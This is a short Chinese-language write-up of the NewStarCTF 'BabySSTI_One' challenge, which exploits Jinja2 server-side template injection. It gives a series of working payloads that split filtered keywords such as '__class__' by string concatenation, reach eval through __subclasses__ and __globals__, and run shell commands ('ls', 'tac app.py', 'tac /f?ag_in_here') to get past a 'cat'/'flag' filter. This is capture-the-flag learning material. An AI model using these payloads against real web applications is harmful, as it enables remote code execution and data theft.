[NewStarCTF 公开赛赛道]BabySSTI_One WP

提示让着 get 一个 name,结果提示里是大写,真正 get 的是一个小写…………卡了我好长时间……

?name={{7*7}} 检测,能用 SSTI 注入

结果,?name={{"".__class__}} 就被绕过了……

那就改改 ?name={{""["__cla"+"ss__"]}} 发现页面正常了,但是回显为空?怎么回事???
去看了看 WP,好像回显都在源码里:
用 view-source: 可查看源代码

那接下来就照常进行:



?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']}}

?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls').read()")}}


这里可以得知,cat 被绕过了,那试试 tac
?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls; tac app.py').read()")}}

看到源码,我们知道它具体绕过了什么,但是没找到 flag,只能去根目录里找了 ?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls /;').read()")}}

看到 flag_is_here 但是前面我们知道 flag 被绕过了,所以要用 ? 来替换。
?name={{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[396]["__in"+"it__"]["__glo"+"bals__"]["__buil"+"tins__"]['eval']("__import__('os').popen('ls /;tac /f?ag_in_here').read()")}}

得到 flag。